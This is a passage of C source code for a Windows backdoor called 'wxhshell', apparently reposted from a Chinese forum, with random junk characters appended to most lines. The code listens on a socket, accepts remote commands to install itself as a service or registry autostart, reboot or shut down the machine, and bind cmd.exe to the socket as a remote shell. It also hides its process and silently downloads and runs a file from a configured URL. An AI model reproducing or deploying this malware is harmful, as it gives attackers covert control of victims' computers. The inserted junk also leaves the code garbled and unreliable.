  else { lb&tAl"D  
l0u6nGkh  
    switch(cmd[0]) { 7 4aap2^  
  or ~o'  
  // 帮助 qw0tw2|  
  case '?': { i3*?fMxhu)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b2H!{a"  
    break; jfS?#;T)  
  } i,FG?\x@  
  // 安装 <2ffcBv  
  case 'i': { lyIstfRh15  
    if(Install()) _$wWKJy9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i?'HVx  
    else }!& w<wR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /^#k /z  
    break; @"kA&=0;|J  
    } i,S%:0c7)  
  // 卸载 |VlAt#E  
  case 'r': { & .+[~2  
    if(Uninstall()) RV^2[Gdi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4G@vO {$  
    else zY\v|l<T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,ye>D='  
    break; %g0"Kj5  
    } HHCsWe-  
  // 显示 wxhshell 所在路径 Fx0K.Q2Y0  
  case 'p': { eP'e_E  
    char svExeFile[MAX_PATH]; nPfVZGt  
    strcpy(svExeFile,"\n\r"); <hdR:k@ #  
      strcat(svExeFile,ExeFile); //e.p6"8h  
        send(wsh,svExeFile,strlen(svExeFile),0); _w^p~To^  
    break; C\.?3  
    }  rc*3k  
  // 重启 5gGYG]*l  
  case 'b': { v.cB3/$ z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nb#E +\q  
    if(Boot(REBOOT)) &.=d,XKN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U-3KuR+0  
    else { &EXql']  
    closesocket(wsh); WaN0$66[:  
    ExitThread(0); d<V+;">2  
    } "a5?cX;  
    break; 7u!R 'D  
    } [ G[HQ)A  
  // 关机 b\][ x6zJp  
  case 'd': { _7]5 Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <3 AkF# C9  
    if(Boot(SHUTDOWN)) idPkJf/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qp  
    else { /I$g.f/#  
    closesocket(wsh); #TZYe4#f  
    ExitThread(0); 8_Y{7;<ey  
    } HG=!#-$9  
    break; >B skw2  
    } '8i np[_  
  // 获取shell Kdx?s;i  
  case 's': { ,, ]y 8P  
    CmdShell(wsh); 5p94b*l  
    closesocket(wsh); i layU  
    ExitThread(0); R7x4v  
    break; `8xe2=Ub  
  } 6rt.ec(  
  // 退出 #R305  
  case 'x': { 0}PW?t76  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K ^A\S  
    CloseIt(wsh); n9t8RcJS:  
    break; 4zpprh+`K  
    } /r[0Dw  
  // 离开 'e7<&wm ia  
  case 'q': { 8Th|'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A37Z;/H~k  
    closesocket(wsh); BA A)IQF  
    WSACleanup(); ]8d]nftY  
    exit(1); D gY2:&0  
    break; b&HA_G4  
        } 2Ev~[Hb.  
  }  Cj_cu  
  } tE3!;  
{/XzIOO;b  
  // 提示信息 p!|Wp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Ah [uM  
} B6MMn.  
  } ysGK5kFz  
asj^K|.z  
  return; O6Xu/X]  
} 4}W*,&_  
#&1mc_`/  
// shell模块句柄 4@/[aFH  
int CmdShell(SOCKET sock) h[ba$S,T  
{ z1T.\mzfX  
STARTUPINFO si; BtVuI5*h  
ZeroMemory(&si,sizeof(si)); 5mnIQ~psR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E2LpQNvN%g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <[8at6;  
PROCESS_INFORMATION ProcessInfo; h.sH:]Z  
char cmdline[]="cmd"; Pqo"~&Y|~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5``/exG>  
  return 0; ,Tvk&<!0  
} Dx4?6  
*-3K],^a  
// 自身启动模式 }/SbmW8(1  
int StartFromService(void) a7%5Qg9B;  
{ nP0|nPWz#  
typedef struct O<Ht-TN&  
{ ou6yi; l%  
  DWORD ExitStatus; @4sv(HyDY  
  DWORD PebBaseAddress; (05/}PhB`  
  DWORD AffinityMask; 2%. A{!  
  DWORD BasePriority; pu0IhDMn  
  ULONG UniqueProcessId; 3-lJ]7OT  
  ULONG InheritedFromUniqueProcessId; S'9T>&<Kn  
}   PROCESS_BASIC_INFORMATION; //3iai  
FU;Tv).  
PROCNTQSIP NtQueryInformationProcess; wta\C{{  
? Z.p.v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aVNRhnM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *q=pv8&*s  
|k^'}n  
  HANDLE             hProcess; =v:vc~G6  
  PROCESS_BASIC_INFORMATION pbi; }NMA($@A  
DJS0;!# |O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;Lu%v%BM  
  if(NULL == hInst ) return 0; x5.H dKV  
Rd&2mL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z Mt9'w;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -iR}kP|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]- ")r  
!)?n n3  
  if (!NtQueryInformationProcess) return 0; !0zbWB9  
E2Q;1Re@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mHM38T9C%  
  if(!hProcess) return 0; b" 1a7   
FF0N{bY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3yszf Wr  
,5mK_iUw3  
  CloseHandle(hProcess); K9njD#/  
*Cz>r}W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /a [i:Oa#  
if(hProcess==NULL) return 0; blpX_N  
r? nvJHP  
HMODULE hMod; @mSdksB/L  
char procName[255]; X#EMmB!  
unsigned long cbNeeded; ONH!ms(kb  
a:r8Jzr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f-F+Y`P  
3=RVJb  
  CloseHandle(hProcess); |F=!0Id<  
9.{u2a\  
if(strstr(procName,"services")) return 1; // 以服务启动 ({v$!AAv  
^ |z|kc  
  return 0; // 注册表启动 O:IU|INq8  
} JF!JY( U,  
Ew5(U`]  
// 主模块 oM G8?p  
int StartWxhshell(LPSTR lpCmdLine) H!?Av$h`  
{ v8Vw.Ce`f  
  SOCKET wsl; N7Kq$G2O  
BOOL val=TRUE; NoTEbFrV  
  int port=0; Se.\wkl#Y  
  struct sockaddr_in door; #k&"R v;,  
VCSHq&p8  
  if(wscfg.ws_autoins) Install(); {F6>XuS=u  
twv|,kM  
port=atoi(lpCmdLine); 48hu=,)81*  
=iW!Mq  
if(port<=0) port=wscfg.ws_port; j]U sb_7  
IFcxyp  
  WSADATA data; jfP2n5X83  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \3JZ =/  
m \o<a|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %X7R_>.   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y~gDS^8  
  door.sin_family = AF_INET; dw#K!,g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #?\$*@O  
  door.sin_port = htons(port); $M{MOehZ  
Xb?:dlu3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tS!Fn Qg4  
closesocket(wsl); dn(I$K8  
return 1; [EI~/#;  
} !m"LIa#/Cs  
%sxLxx_x!  
  if(listen(wsl,2) == INVALID_SOCKET) { 7r;7'X5  
closesocket(wsl); Jmrs@  
return 1; W; yNg  
} "O{j}QwY  
  Wxhshell(wsl); rH*1bDL  
  WSACleanup(); =lT~  
HK&Ul=^VN|  
return 0; ,cZhkXd  
l/1u>'  
} R % [ZQ K  
~A@T_ *0  
// 以NT服务方式启动 cq lA"Eof  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &.XlXihnt  
{ yHhx- `  
DWORD   status = 0; 8=QOp[w   
  DWORD   specificError = 0xfffffff; /kV3[Rw+  
z"#iG&>a,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )3K#${p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z/-9G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mApn[)?tv  
  serviceStatus.dwWin32ExitCode     = 0; Tzr_K  
  serviceStatus.dwServiceSpecificExitCode = 0; Loz5[L  
  serviceStatus.dwCheckPoint       = 0; =1Nz* c  
  serviceStatus.dwWaitHint       = 0; aF*KY<w  
sB!#`kh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L7i2is  
  if (hServiceStatusHandle==0) return; ;iT@41)7  
W>f q 9  
status = GetLastError(); \9"   
  if (status!=NO_ERROR) KuBN_bd  
{ >QyJRMY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 21NGsG  
    serviceStatus.dwCheckPoint       = 0; paKur%2u  
    serviceStatus.dwWaitHint       = 0; 0RHKzk6~c  
    serviceStatus.dwWin32ExitCode     = status; be?>C 5  
    serviceStatus.dwServiceSpecificExitCode = specificError; ],`xd_=]=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7egE."  
    return; aa|u *afWQ  
  } { 0\Ez}  
] V|hDU=t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xgDd5`W  
  serviceStatus.dwCheckPoint       = 0; 7 ~b=G  
  serviceStatus.dwWaitHint       = 0; <PLQY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #IJm*_J<  
} 44Dytpvg  
Lk%`hsv  
// 处理NT服务事件,比如:启动、停止 CFE  ubEb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &T.d"i  
{ G47(LE"2b  
switch(fdwControl) !8g419Yg  
{ hcn $uyP  
case SERVICE_CONTROL_STOP: /my5s\;s|z  
  serviceStatus.dwWin32ExitCode = 0; ')R+Z/hG.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w8=&rzr8  
  serviceStatus.dwCheckPoint   = 0; SEfRU`  
  serviceStatus.dwWaitHint     = 0; r]q;>\T'  
  { f^JiaU4 [  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5(wmy-x\  
  } r ^=rs!f@  
  return; EPEWyGw  
case SERVICE_CONTROL_PAUSE: 8y:/!rRN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l7h6R$7; 0  
  break; EdL2t``  
case SERVICE_CONTROL_CONTINUE: ak,KHA6u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m:}PVJ-"  
  break; LTZ8Eu  
case SERVICE_CONTROL_INTERROGATE: cI Sugk~  
  break; [^Z)f<l  
}; 2[!3!@.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u+/Uc:XK)  
} {c  : 7:  
]& 8c 45c  
// 标准应用程序主函数 ~];r{IU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'FNnFm  
{ $-D}y:  
1Kjqs)p^  
// 获取操作系统版本 ]I,(^Xq3a(  
OsIsNt=GetOsVer(); V0)bPcS/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "Jahc.I  
2LfiaHO  
  // 从命令行安装 z`"*60b  
  if(strpbrk(lpCmdLine,"iI")) Install(); jgvzp  
6|mHu2qXm  
  // 下载执行文件 sL Kk1A  
if(wscfg.ws_downexe) { ,`Keqfx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e{EC# %x_  
  WinExec(wscfg.ws_filenam,SW_HIDE); kzE<Y  
} ,? >{M  
NX[-Y]t  
if(!OsIsNt) { ]OSq}ul  
// 如果时win9x,隐藏进程并且设置为注册表启动 >jU25"XI[  
HideProc(); HVJqDF  
StartWxhshell(lpCmdLine); a8WWFAC[  
} }/w]+f*  
else zRU9Q 2Y  
  if(StartFromService()) d*YVk{s7V  
  // 以服务方式启动 {+~ JTrp  
  StartServiceCtrlDispatcher(DispatchTable); '[Sm w'n6-  
else |}7!'f\M  
  // 普通方式启动 ]'NL-8x">  
  StartWxhshell(lpCmdLine); nt&"? /s  
57fl<IM  
return 0; 4wMZNa<Sx  
}
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只看该作者 1 发表于: 2006-10-10
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